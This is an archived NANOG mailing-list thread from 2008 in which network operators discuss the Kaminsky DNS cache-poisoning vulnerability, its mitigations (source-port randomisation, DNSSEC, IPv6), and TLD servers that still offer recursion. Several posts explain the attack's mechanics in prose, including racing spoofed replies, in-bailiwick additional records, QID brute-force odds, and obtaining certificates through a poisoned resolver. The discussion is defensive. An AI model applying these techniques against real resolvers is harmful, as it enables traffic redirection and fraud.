https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Robert Kisteleki]

Patrick W. Gilmore wrote:
Anyone have a foolproof way to get grandma to always put "https://"; in 
front of "www"?


I understand this is a huge can of worms, but maybe it's time to change the 
default behavior of browsers from http to https...?


I'm sure it's doable in FF with a simple plugin, one doesn't have to wait 
for FF4. (That would work for bookmarks too.)


Robert

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Steven M. Bellovin]

On Thu, 24 Jul 2008 09:51:40 +0200
Robert Kisteleki <[EMAIL PROTECTED]> wrote:

> Patrick W. Gilmore wrote:
> > Anyone have a foolproof way to get grandma to always put "https://";
> > in front of "www"?
> 
> I understand this is a huge can of worms, but maybe it's time to
> change the default behavior of browsers from http to https...?
> 
> I'm sure it's doable in FF with a simple plugin, one doesn't have to
> wait for FF4. (That would work for bookmarks too.)
> 
Servers won't go along with it -- it's too expensive, both in CPU and
round trips.

The round trip issue affects latency, which in turn affects perceived
responsiveness.  This is quite definitely the reason why gmail doesn't
always use https (though it, unlike some other web sites, doesn't
refuse to use it).

As for CPU time -- remember that most web site visits are very short;
this in turn means that you have to amortize the SSL setup expense over
very few pages.  I talked once with a competent system designer who
really wanted to use https but couldn't -- his total system cost would
have gone up by a factor of 10.


--Steve Bellovin, http://www.cs.columbia.edu/~smb

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Jasper Bryant-Greene]

On Thu, 2008-07-24 at 09:51 +0200, Robert Kisteleki wrote:
> Patrick W. Gilmore wrote:
> > Anyone have a foolproof way to get grandma to always put "https://"; in 
> > front of "www"?
> 
> I understand this is a huge can of worms, but maybe it's time to change the 
> default behavior of browsers from http to https...?
> 
> I'm sure it's doable in FF with a simple plugin, one doesn't have to wait 
> for FF4. (That would work for bookmarks too.)

It probably wouldn't help. In this case, if I was the attacker, I'd just
find a company selling "Domain Validated" certs whose upstream
nameserver was vulnerable (there's enough "Domain Validated" certificate
pushers now that this shouldn't be hard)

Then you spoof the domain from their point of view, obtain a cert, and
now HTTPS will work with no error message, almost certainly fooling
anyone's grandma.

-Jasper

Re: SANS: DNS Bug Now Public?

[Phil Regnauld]

Joe Abley (jabley) writes:
>
> Having just seen some enterprise types spend time patching their 
> nameservers, it's also perhaps worth spelling out that "patch" in this case 
> might require more than upgrading resolver code -- it could also involve 
> reconfigurations, upgrades or replacements of NAT boxes too. If your NAT 
> reassigns source ports in a predictable fashion, then no amount of BIND9 
> patching is going to help.

Case in point, we've got customers running around in circles
screaming "we need to upgrade, please help us upgrade NOW",
but they have _3_ layers of routers and firewalls that are hardcoded to
only allow DNS queries from port 53.

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[William Pitcock]

On Thu, 2008-07-24 at 09:51 +0200, Robert Kisteleki wrote:
> Patrick W. Gilmore wrote:
> > Anyone have a foolproof way to get grandma to always put "https://"; in 
> > front of "www"?
> 
> I understand this is a huge can of worms, but maybe it's time to change the 
> default behavior of browsers from http to https...?
> 
> I'm sure it's doable in FF with a simple plugin, one doesn't have to wait 
> for FF4. (That would work for bookmarks too.)
> 

I don't think anything involving HTTPS is necessairly an answer to this
problem. Specifically:

* not all sites do HTTPS
* many organizations use transparent proxies like Microsoft ICA
* certification authorities can in theory be bought off (or otherwise
manipulated) to issue bogus certs, making switching to HTTPS worthless

William

TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED

[Simon Waters]

On Thursday 24 July 2008 05:17:59 Paul Ferguson wrote:
>
> Let's hope some very large service providers get their act together
> real soon now.
>
> http://www.hackerfactor.com/blog/index.php?/archives/204-Poor-DNS.html

It isn't going to happen without BIG political pressure, either from users, or 
governments, and other bodies.

I checked last night, and noticed TLD servers for .VA and .MUSEUM are still 
offering recursion amongst a load of less popular top level domains.

Indeed just under 10% of the authoritative name servers mentioned in the root 
zone file still offer recursion.

I didn't check IPv6 servers, but these IPv4 servers are potentially vulnerable 
to this (and other) poisoning attacks. Hard to pin down numbers as some have 
been patched, and some have unusual behaviour on recursion, but I fancy my 
chances of owning more than a handful of TLDs if I had the time to try (and 
immunity from prosecution).

The advice NOT to allow recursion on TLD servers is well over a decade old. So 
who thinks the current fashionable problem will be patched widely in a 
month - given it is much less critical in nature?

The .MUSEUM server that is offering recursion is hosted by the Getty 
Foundation, so I assume money isn't the issue. The Vatican ought to be able 
to find someone in its billion adherents prepared to help configure a couple 
of name servers.

I also noticed that one of the ".US" servers doesn't exist in the DNS proper, 
glue exists but not the record in the zone. I'm guessing absence of a name 
servers name record in its proper zone makes certain spoofing attacks easier 
(since you are only competing with glue records), although I can't 
specifically demonstrate that one for blackhat 2008 - it suggests a certain 
lack of attention on the part of the domain's administrators.

I was tempted to write a mock RFC, proposing dropping all top level domain 
names which still have recursion enabled in one or more of their name 
servers - due to "lack of maintanence". A little humour might help make the 
point, slashdot might go for it.

Re: https

[Sam Stickland]

Steven M. Bellovin wrote:

As for CPU time -- remember that most web site visits are very short;
this in turn means that you have to amortize the SSL setup expense over
very few pages.  I talked once with a competent system designer who
really wanted to use https but couldn't -- his total system cost would
have gone up by a factor of 10.
  
We handle the SSL decryption on the front-end load-balancers (hardware 
assisted). For financial transactions the load-balancers also maintain 
long-lived SSL connections to the webservers, that the decrypted data is 
pipelined into. This avoids the expensive session setup and teardown on 
the servers.


Sam

Re: Exploit for DNS Cache Poisoning - RELEASED

[Joe Greco]

> On Wed, Jul 23, 2008 at 9:44 PM, Joe Greco <[EMAIL PROTECTED]> wrote:
> >> Except this time your reply comes with an additional record
> >> containing the IP for www.gmail.com to the one you want to redirect it
> >> to.
> >
> > Thought that was the normal technique for cache poisoning.  I'm pretty
> > sure that at some point, code was added to BIND to actually implement
> > this whole bailiwick system, rather than just accepting arbitrary out-
> > of-scope data, which it ... used to do (sigh, hi BIND4).
> 
> Joe,
> 
> I think that's the beauty of this attack: the data ISN'T out of scope.
> The resolver is expecting to receive one or more answers to
> 1.gmail.com, one or more authority records (gmail.com NS
> www.gmail.com) and additional records providing addresses for the
> authority records (www.gmail.com A 127.0.0.1).

I think the response to that is best summarized as **YAWN**.

One of the basic tenets of attacking security is that it works best to
attack the things that you know a remote system will allow.  The 
bailiwick system is *OLD* tech at this point, but is pretty much
universally deployed (in whatever forms across various products), so 
it stands to reason that a successful attack is likely to involve 
either in-scope data, or a bug in the system.

The fact that this was known to be a cross-platform vulnerability
would have suggested an in-scope data attack.  I thought that part was
obvious, sorry for any confusion.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

Re: Exploit for DNS Cache Poisoning - RELEASED

[Tony Finch]

On Wed, 23 Jul 2008, Kevin Day wrote:
>
> The new way is slightly more sneaky. You get the victim to try to
> resolve an otherwise invalid and uncached hostname like 1.gmail.com,
> and try to beat the real response with spoofed replies. Except this time
> your reply comes with an additional record containing the IP for
> www.gmail.com to the one you want to redirect it to. If you win the race
> and the victim accepts your spoof for 1.gmail.com, it will also
> accept (and overwrite any cached value) for your additional record for
> www.gmail.com as well.

RFC 2181 says the resolver should not overwrite authoritative data with
additional data in this manner.

I believe the Matasano description is wrong.

Tony.
-- 
f.anthony.n.finch  <[EMAIL PROTECTED]>  http://dotat.at/
FORTIES CROMARTY FORTH TYNE DOGGER: EAST OR SOUTHEAST 3 OR 4, INCREASING 5 OR
6 LATER. SLIGHT OR MODERATE. FOG PATCHES. GOOD, OCCASIONALLY VERY POOR.

RE: XO contact

[Mort, Eric]

If you can reply to me with the ticket details and number I can make
sure it get looked at by the right folks.

Regards, 


Eric J. Mort
Sr. Manager - IP Operations
Desk - 314-787-7826
Cell - 314-486-9057
[EMAIL PROTECTED]

-Original Message-
From: William R. Lorenz [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 24, 2008 12:01 AM
To: Zaid Ali
Cc: [EMAIL PROTECTED]
Subject: Re: XO contact

Do XO engineers still read and participate in this mailing list?

We've been going back-and-forth for a couple of weeks now on a newly 
installed XO circuit.  The circuit does not work, and we've heard
reports 
of engineers resetting an ML100 card, possibly RE Cisco's CSCec78266.

We have publicly-traded companies in the facilities, and it would be 
wonderful if we could get in touch with a knowledgeable XO engineer?



On Tue, 24 Jun 2008, Zaid Ali wrote:

> Can someone from XO who handles this neighbor 65.46.253.157 help me
out 
> with a BGP session going down? This is the second time within a week 
> where a misconfiguration of an ACL on XO end is bringing down my BGP 
> session with you and its frustrating to go through the normal tech 
> support chain.

RE: Software router state of the art

[Tim Sanderson]

Is anyone using Vyatta for routing? I sure would like to know about any 
experience with it in production.

http://www.vyatta.com/

--
Tim Sanderson, network administrator
[EMAIL PROTECTED]


-Original Message-
From: randal k [mailto:[EMAIL PROTECTED]
Sent: Wednesday, July 23, 2008 1:46 PM
To: Adrian Chadd
Cc: [EMAIL PROTECTED]
Subject: Re: Software router state of the art

That is a very interesting paper. Seriously, 7mpps with an
off-the-shelf Dell 2950? Even if it were -half- that throughput, for a
pure ethernet forwarding solution that is incredible. Shoot, buy a
handful of them as hot spares and still save a bundle.

Highly recommended reading, even if (like me) you're anti-commodity routing.

Cheers,
Randal

On Wed, Jul 23, 2008 at 10:17 AM, Adrian Chadd <[EMAIL PROTECTED]> wrote:
> On Wed, Jul 23, 2008, Charles Wyble wrote:
>
>> This might be of interest:
>>
>> http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf
>
> Various FreeBSD related guys are working on parallelising the forwarding
> layer enough to use the multiple tx/rx queues in some chipsets such as the
> Intel gig/10ge stuff.
>
> 1 mil pps has been broken that way, but it uses lots of cores to get there.
> (8, I think?)
>
> Linux apparently is/has headed down this path.

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Chris Adams]

Once upon a time, Robert Kisteleki <[EMAIL PROTECTED]> said:
> I understand this is a huge can of worms, but maybe it's time to change the 
> default behavior of browsers from http to https...?

This is a _DNS_ vulnerability.  The Internet is more than HTTP(S).

Think about email (how many MTAs do TLS and validate the certs?).  Even
things like BitTorrent require valid DNS (how about MPAA/RIAA poisoning
the cache for thepiratebay?).

-- 
Chris Adams <[EMAIL PROTECTED]>
Systems and Network Administrator - HiWAAY Internet Services
I don't speak for anybody but myself - that's enough trouble.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Greco]

> downplay this all you want, we can infect a name server in 11 seconds now,
> which was never true before.  i've been tracking this area since 1995.  don't
> try to tell me, or anybody, that dan's work isn't absolutely groundbreaking.
> 
> i am sick and bloody tired of hearing from the people who aren't impressed.

Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is
groundbreaking, except that threats discussed long ago have become more
practical due to the growth of network and processing speeds, which was 
a hazard that ...  was actually ALSO predicted.

And you know what?  I'll give you the *NEXT* evolutionary steps, which 
could make you want to cry.

If the old code system could result in an infected name server in 11
seconds, this "fix" looks to me to be at best a dangerous and risky
exercise at merely reducing the odds.  Some criminal enterprise will
figure out that you've only reduced the odds to 1/64000 of what they
were, but the facts are that if you can redirect some major ISP's 
resolver to punt www.chase.com or www.citibank.com at your $evil server,
and you have large botnets on non-BCP38 networks, you can be pumping 
out large numbers of answers at the ISP's server without a major
commitment in bandwidth locally...  and sooner or later, you'll still
get a hit.  You don't need to win in 11 secs, or even frequently.  It
can be "jackpot" monthly and you still win.

Which is half the problem here.  Bandwidth is cheap, and DNS packets are
essentially not getting any bigger, so back in the day, maybe this wasn't
practical over a 56k or T1 line, but now it is trivial to find a colo with
no BCP38 and a gigabit into the Internet.  The flip side is all those nice
multicore CPU's mean that systems aren't flooded by the responses, and they
are instead successfully sorting through all the forged responses, which
may work in the attacker's advantage (doh!)

This problem really is not practically solvable through the technique that
has been applied.  Give it another few years, and we'll be to the point
where both the QID *and* the source port are simply flooded, and it only
takes 11 seconds, thanks to the wonder of ever-faster networks and servers.
Whee, ain't progress wonderful.  

Worse, this patch could be seen as *encouraging* the flooding of DNS 
servers with fake responses, and this is particularly worrying, since 
some servers might have trouble with this.

So, if we want to continue to ignore proper deployment of DNSSEC or
equivalent, there are some things we can do:

* Detect and alarm on cache overwrite attempts (kind of a meta-RFC 2181
  thing).  This could be problematic for environments without consistent
  DNS data (and yes, I know your opinion of that).

* Detect and alarm on mismatched QID attacks (probably at some low 
  threshold level).
  
But the problem is, even detected and alerted, what do you do?  Alarming
might be handy for the large consumer ISP's, but isn't going to be all
that helpful for the universities or fortune 500's that don't have 24/7
staff sitting on top of the nameserver deployment.

So, look at other options:

* Widen the query space by using multiple IP addresses as source.  This,
  of course, has all the problems with NAT gw's that the port solution
  did, except worse.

  This makes using your ISP's "properly designed" resolver even more
  attractive, rather than running a local recurser on your company's
  /28 of public IP space, but has the unintended consequence of making 
  those ISP recursers even more valuable targets.

Makes you wish for wide deployment of IPv6, eh.

> every time some blogger says "this isn't new", another five universities
> and ten fortune 500 companies and three ISP's all decide not to patch.
> that means we'll have to wait for them to be actively exploited before they
> will understand the nature of the emergency.

While I applaud the reduction in the attack success rate that the recent
patch results in, I am going to take a moment to be critical, and note that
I feel you (and the other vendors) squandered a fantastic chance.  Just 
like the Boy Who Cried Wolf, you have a limited number of times that you can 
cry "vulnerability" and have people mostly all stand up and pay attention in 
the way that they did.

Hardly the first (but possibly one of the most noteworthy), RIPE called 
for signing of the root zone a year ago.

I note with some annoyance that this would have been a great opportunity
for someone with a lot of DNS credibility to stand up and say "we need
the root signed NOW," and to force the issue.  This would have been a lot
of work, certainly, but a lot of *worthwhile* work, at various levels.
The end result would have been a secure DNS system for those who chose to
upgrade and update appropriately.

Instead, it looks to me as though the opportunity is past, people are
falsely led to believe that their band-aid-patched servers are now "not
vulnerable" (oh, I love that term, since it isn't really true!) and

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED

[John Kristoff]

On Thu, 24 Jul 2008 10:06:25 +0100
Simon Waters <[EMAIL PROTECTED]> wrote:

> I checked last night, and noticed TLD servers for .VA and .MUSEUM are
> still offering recursion amongst a load of less popular top level
> domains.
> 
> Indeed just under 10% of the authoritative name servers mentioned in
> the root zone file still offer recursion.

While not ideal, at least most resolvers will not go asking those
servers for anything other than what they are authoritative for unless
an attacker for some reason wanted to setup a long chain of poisons. The
large, shared caching servers and all those open CPE devices are a
much larger concern I think.

John

Re: Exploit for DNS Cache Poisoning - RELEASED

[Jorge Amodio]

>
> Sure, I can empathize, to a certain extent. But this issue has
> been known for 2+ weeks now.
>

Well we knew about the DNS issues since long time ago (20+yrs perhaps?),
so the issue is not new, just the exploit is more easy to put together and
chances for it to succeed are much higher.

As I mentioned in another message, perhaps its time to get serious about
DNSSEC, where are we on this front ?

Cheers
Jorge

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

> > i am sick and bloody tired of hearing from the people who aren't impressed.
> 
> Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is
> groundbreaking, except that threats discussed long ago have become more
> practical due to the growth of network and processing speeds, which was 
> a hazard that ...  was actually ALSO predicted.

11 seconds.

and at&t refuses to patch.

and all iphones use those name servers.

your move.

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Greco]

> > So, look at other options:
> > 
> > * Widen the query space by using multiple IP addresses as 
> > source.  This,
> >   of course, has all the problems with NAT gw's that the port solution
> >   did, except worse.
> > 
> >   This makes using your ISP's "properly designed" resolver even more
> >   attractive, rather than running a local recurser on your company's
> >   /28 of public IP space, but has the unintended consequence of making
> >   those ISP recursers even more valuable targets.
> > 
> > Makes you wish for wide deployment of IPv6, eh.
> 
> > The only real fix I see is to deploy DNSSEC.
> 
> You seem to be saying, above, that IPv6 is also a real fix, presumably
> because it allows for the 64-bit host id portion of an IP address to
> "fast flux". Or have I misunderstood?

No, IPv6 is a *potential* fix for the *problem being discussed*, in a
practical but not absolute sense.

Let's discard the "fast flux" concept, because that's not really right.
Let's instead assume that an entire 64-bit space is available for a DNS
server to send requests from, not due to rapidly changing IP addresses,
but because they're all bound to loopback, and hence always-on.  This
means that the server can simultaneously have outstanding requests on
different IP's, which is why I want to discard "fast flux" terminology.

We had a problem with DNS.  The problem identified by the released exploit
was the fairly obvious one that the query ID is only 16 bits.  What that
means is that you can readily guess a correct answer 1/65536 times.  So 
you simply hammer the server with all 65536 answers while asking questions
until you win the race between the time the server sends a query and the
legitimate server responds, rendering the QID useless.

The "port fix" increases the search space significantly.  Probably to the
point where you can not practically send 65536 * 64512 packets (4 billion,
all 65536 possible qid's to all 64512 nonpriv ports) within an appropriate 
timeframe.  Regardless, you can keep trying a small number of bogus 
answers, and over time, statistical probability says that you will 
eventually get lucky.

The sharp folks will realize that this is essentially what is happening in
the first scenario anyways, just with smaller numbers.

Expanding the search space by adding 64 bits brings the potential total up
to roughly 64 + 16 + 16 bits, or about 96 bits.  This reduces the
likelihood of success substantially, and even allowing for increased network
speeds and processor speeds over time, I don't think you'd get a hit in your
lifetime.  ;-)

However, DNSSEC is a better solution, because it also works to guarantee the
integrity of data (it will work to solve MITM, etc).  

So, for the vulnerability just released, yeah, IPv6 could be a solution,
but it is a hacky, ugly, partial solution.  It would fairly exhaustively
fix the problem at hand, but not the more general problem of trust in DNS.

> It would be nice for someone to explain how (or if) IPv6 changes this
> situation since many networks are already well into the planning stages
> for IPv6 deployment within the next two to three years. 

Personally, I wouldn't worry too much about it.  What we really need is
some political backbone behind getting DNSSEC deployed, because the
vulnerability that was just released is just one of many possible attacks
against the DNS, and DNSSEC is a much better general fix, etc.  I do not
believe that you will find an IPv6 extension of this sort useful in the
short term, and in the long term, I'm hoping for DNSSEC.

Now you can fully appreciate my comment:

"Makes you wish for wide deployment of IPv6, eh."

Because if we did have wide deployment of IPv6, adding 64 bits to the search
window would certainly be a practical solution to this particular attack on
the protocol.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

OT: 2-post rack security covers

[Justin Shore]

Somewhere I've seen what amounts to a concave cover that you can mount 
over the face of gear racked in a 2-post.  The cover I saw had a bracket 
that mounted to the 2-post before any equipment was installed and it had 
a couple knobs sticking out (basically consuming a U on each end).  Then 
you racked up the equipment through the holes in the bracket you mounted 
earlier.  Finally the cover (which sticks out about 6") slips over the 
front of all the gear, down onto the knobs and locks in place with a 
mechanism that grasps the metal knobs.  I've also seen ones that don't 
lock.  The point of this is to provide additional security in a cageless 
co-lo environment like what you'd find in most COs providing RLEC 
services as well as prevent accidental damage to the cabling on the 
front of equipment.


Does anyone have a specific name for what I'm talking about?  Vendor or 
product reference?  I've looked through all my catalogs and can't find 
what I'm looking for.  I'd like to think that no one would mess with out 
wiring or devices in those COs but of course I can't guarantee that. 
The damage someone could do to our cross-connects in a few seconds time 
is something I'd like to avoid.  A SFP or GBIC can be stolen quickly too 
with minimal effort.  No sense in tempting people if it can be helped.


Thanks
 Justin

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Greco]

> > > i am sick and bloody tired of hearing from the people who aren't 
> > > impressed.
> > 
> > Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is
> > groundbreaking, except that threats discussed long ago have become more
> > practical due to the growth of network and processing speeds, which was 
> > a hazard that ...  was actually ALSO predicted.
> 
> 11 seconds.
> 
> and at&t refuses to patch.
> 
> and all iphones use those name servers.
> 
> your move.

MY move?  Fine.  You asked for it.  Had I your clout, I would have used
this opportunity to convince all these new agencies that the security of
the Internet was at risk, and that getting past the "who holds the keys"
for the root zone should be dealt with at a later date.  Get the root
signed and secured.  Get the GTLD's signed and secured.  Give people the
tools and techniques to sign and secure their zones.  Focus on banks,
ISP's, and other critical infrastructure.  You don't have to do all that
yourself, since we have all these wonderful new agencies charged with
various aspects of keeping our nation secure, including from electronic
threats, and certainly there is some real danger here.

This in no way prevents you from simultaneously releasing patches to do 
query source port randomization, of course, and certainly I think that a
belt and suspenders solution is perfectly fine, but right now, I'm only
seeing the belt...

But realizing that going from 11 seconds to (11 * 64512 =) 8.21 days is 
not a significant jump from the PoV of an attacker would certainly have
factored into my decision-making process.

But we didn't do my move.  We did yours.  So back to the real world.

You're still vulnerable.

Your move.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

Re: Exploit for DNS Cache Poisoning - RELEASED

[Sean Donelan]

On Thu, 24 Jul 2008, Paul Ferguson wrote:

Let's hope some very large service providers get their act together
real soon now.


There is always a tension between discovery, changing, testing and

finally deployment.




Sure, I can empathize, to a certain extent. But this issue has
been known for 2+ weeks now.

Not sure I can be very empathic now, given the seriousness, and the
proper warning ISPs have been given.


Also recognize some of the simple testing tools get a bit confused
by some of the more complex DNS configurations used by the mega-ISP
DNS clusters; and generate false positives (and maybe even false
negative) results. You can see it happens when the testing tool
reports widely different number of queries checked.

Several of the ISPs with complex DNS clusters are patching and upgrading
them; however the current state of some of the patches wouldn't support
the query load those providers normally experience.  So they've been
working on alternative mitigation strategies.  However, its difficult
to now if the alternative strategies actually mitigate the actual threat
without knowing the actual threat.

And finally, there probably are some providers who haven't made plans to
change their DNS.  Unfortunately, the testing tools can't read minds 
(yet), so its difficult to know which ISPs are in this category.

Re: Exploit for DNS Cache Poisoning - RELEASED

[Steven M. Bellovin]

On Thu, 24 Jul 2008 09:10:13 -0500
"Jorge Amodio" <[EMAIL PROTECTED]> wrote:

> >
> > Sure, I can empathize, to a certain extent. But this issue has
> > been known for 2+ weeks now.
> >
> 
> Well we knew about the DNS issues since long time ago (20+yrs
> perhaps?), so the issue is not new, just the exploit is more easy to
> put together and chances for it to succeed are much higher.
> 
This is important.  Kaminsky took a known concept and did the hard
engineering work to make it feasible.  To slightly misuse a quote
that's more often applied to crypto, "amateurs worry about algorithms;
pros worry about economics".  The economics of the attack have now
changed.  (And we need to get DNSSEC deployed before they change even
further.)


--Steve Bellovin, http://www.cs.columbia.edu/~smb

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Steve Tornio]

On Jul 24, 2008, at 9:22 AM, Paul Vixie wrote:




11 seconds.

and at&t refuses to patch.

and all iphones use those name servers.


This caught my attention, and so I tossed the AT&T wireless card in my  
laptop and ran the test:


[rogue:~] steve% dig +short porttest.dns-oarc.net TXT
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"209.183.54.151 is GOOD: 26 queries in 0.8 seconds from 26 ports with  
std dev 22831.70"

[rogue:~] steve% host 209.183.54.151
151.54.183.209.in-addr.arpa domain name pointer  
bthinetdns.mycingular.net.



doxpara.com tests to lock up my iPhone, or I would use that checker to  
verify the iPhone DNS.  Anyone have a link to a decent test that I  
could run on the iPhone?


Thanks,
Steve

Re: https

[Ken A]

Robert Kisteleki wrote:

Patrick W. Gilmore wrote:
Anyone have a foolproof way to get grandma to always put "https://"; in 
front of "www"?


I understand this is a huge can of worms, but maybe it's time to change 
the default behavior of browsers from http to https...?


I'm sure it's doable in FF with a simple plugin, one doesn't have to 
wait for FF4. (That would work for bookmarks too.)


Robert



80 != 443
There's nobody listening on 443 for most of the Internet.
Ken

--
Ken Anderson
Pacific.Net

RE: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[michael.dillon]

> So, look at other options:
> 
> * Widen the query space by using multiple IP addresses as 
> source.  This,
>   of course, has all the problems with NAT gw's that the port solution
>   did, except worse.
> 
>   This makes using your ISP's "properly designed" resolver even more
>   attractive, rather than running a local recurser on your company's
>   /28 of public IP space, but has the unintended consequence of making
>   those ISP recursers even more valuable targets.
> 
> Makes you wish for wide deployment of IPv6, eh.

> The only real fix I see is to deploy DNSSEC.

You seem to be saying, above, that IPv6 is also a real fix, presumably
because it allows for the 64-bit host id portion of an IP address to
"fast flux". Or have I misunderstood?

It would be nice for someone to explain how (or if) IPv6 changes this
situation since many networks are already well into the planning stages
for IPv6 deployment within the next two to three years. 

--Michael Dillon
 

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Abley]

On 24 Jul 2008, at 10:56, Joe Greco wrote:

MY move?  Fine.  You asked for it.  Had I your clout, I would have  
used
this opportunity to convince all these new agencies that the  
security of
the Internet was at risk, and that getting past the "who holds the  
keys"

for the root zone should be dealt with at a later date.  Get the root
signed and secured.


Even if that was done today, there would still be a risk of cache  
poisoning for months and years to come.


You're confusing the short-term and the long-term measures, here.


Get the GTLD's signed and secured.


I encourage you to read some of the paper trail involved with getting  
ORG signed, something that the current roadmap still doesn't  
accommodate for the general population of child zones until 2010. It  
might be illuminating.


Even once everything is signed and working well to the zones that  
registries are publishing, we need to wait for registrars to offer  
DNSSEC key management to their customers.


Even once registrars are equipped, we need people who actually host  
customer zones to sign them, and to acquire operational competence  
required to do so well.


And even after all this is done, we need a noticeable proportion of  
the world's caching resolvers to turn on validation, and to keep  
validation turned on even though the helpdesk phone is ringing off the  
hook because the people who host the zones your customers are trying  
to use haven't quite got the hang of DNSSEC yet, and their signatures  
have all expired.


Compared with the problem of global DNSSEC deployment, getting  
everybody in the world to patch their resolvers looks easy.



Joe

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Gadi Evron]

On Thu, 24 Jul 2008, Joe Greco wrote:

downplay this all you want, we can infect a name server in 11 seconds now,
which was never true before.  i've been tracking this area since 1995.  don't
try to tell me, or anybody, that dan's work isn't absolutely groundbreaking.

i am sick and bloody tired of hearing from the people who aren't impressed.


Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is
groundbreaking, except that threats discussed long ago have become more
practical due to the growth of network and processing speeds, which was


Joe, you should be well aware most of what we face today and will face 
tomorrow is based on concepts of old, and/or has been thought of/seen 
before in a different format.


But as you well know, threats are still real, especially where the 
practical vulnerability is hight. Further, this is especially true in the 
operators communities where unless there is a power point presentation 
about it, the threat is thought a pipe-dream.



a hazard that ...  was actually ALSO predicted.


Well, it's here now, and I am happy there is something to be done about 
it, pro-actively.


Gadi.



And you know what?  I'll give you the *NEXT* evolutionary steps, which
could make you want to cry.

If the old code system could result in an infected name server in 11
seconds, this "fix" looks to me to be at best a dangerous and risky
exercise at merely reducing the odds.  Some criminal enterprise will
figure out that you've only reduced the odds to 1/64000 of what they
were, but the facts are that if you can redirect some major ISP's
resolver to punt www.chase.com or www.citibank.com at your $evil server,
and you have large botnets on non-BCP38 networks, you can be pumping
out large numbers of answers at the ISP's server without a major
commitment in bandwidth locally...  and sooner or later, you'll still
get a hit.  You don't need to win in 11 secs, or even frequently.  It
can be "jackpot" monthly and you still win.

Which is half the problem here.  Bandwidth is cheap, and DNS packets are
essentially not getting any bigger, so back in the day, maybe this wasn't
practical over a 56k or T1 line, but now it is trivial to find a colo with
no BCP38 and a gigabit into the Internet.  The flip side is all those nice
multicore CPU's mean that systems aren't flooded by the responses, and they
are instead successfully sorting through all the forged responses, which
may work in the attacker's advantage (doh!)

This problem really is not practically solvable through the technique that
has been applied.  Give it another few years, and we'll be to the point
where both the QID *and* the source port are simply flooded, and it only
takes 11 seconds, thanks to the wonder of ever-faster networks and servers.
Whee, ain't progress wonderful.

Worse, this patch could be seen as *encouraging* the flooding of DNS
servers with fake responses, and this is particularly worrying, since
some servers might have trouble with this.

So, if we want to continue to ignore proper deployment of DNSSEC or
equivalent, there are some things we can do:

* Detect and alarm on cache overwrite attempts (kind of a meta-RFC 2181
 thing).  This could be problematic for environments without consistent
 DNS data (and yes, I know your opinion of that).

* Detect and alarm on mismatched QID attacks (probably at some low
 threshold level).

But the problem is, even detected and alerted, what do you do?  Alarming
might be handy for the large consumer ISP's, but isn't going to be all
that helpful for the universities or fortune 500's that don't have 24/7
staff sitting on top of the nameserver deployment.

So, look at other options:

* Widen the query space by using multiple IP addresses as source.  This,
 of course, has all the problems with NAT gw's that the port solution
 did, except worse.

 This makes using your ISP's "properly designed" resolver even more
 attractive, rather than running a local recurser on your company's
 /28 of public IP space, but has the unintended consequence of making
 those ISP recursers even more valuable targets.

Makes you wish for wide deployment of IPv6, eh.


every time some blogger says "this isn't new", another five universities
and ten fortune 500 companies and three ISP's all decide not to patch.
that means we'll have to wait for them to be actively exploited before they
will understand the nature of the emergency.


While I applaud the reduction in the attack success rate that the recent
patch results in, I am going to take a moment to be critical, and note that
I feel you (and the other vendors) squandered a fantastic chance.  Just
like the Boy Who Cried Wolf, you have a limited number of times that you can
cry "vulnerability" and have people mostly all stand up and pay attention in
the way that they did.

Hardly the first (but possibly one of the most noteworthy), RIPE called
for signing of the root zone a year ago.

I note with some annoyance that this would have been a 

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Sean Donelan]

On Thu, 24 Jul 2008, Paul Vixie wrote:

11 seconds.

and at&t refuses to patch.

and all iphones use those name servers.


Has at&t told you they are refusing to patch?  Or are you just spreading
FUD about at&t and don't actually have any information about their plans?

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED

[Gadi Evron]

On Thu, 24 Jul 2008, John Kristoff wrote:

On Thu, 24 Jul 2008 10:06:25 +0100
Simon Waters <[EMAIL PROTECTED]> wrote:


I checked last night, and noticed TLD servers for .VA and .MUSEUM are
still offering recursion amongst a load of less popular top level
domains.

Indeed just under 10% of the authoritative name servers mentioned in
the root zone file still offer recursion.


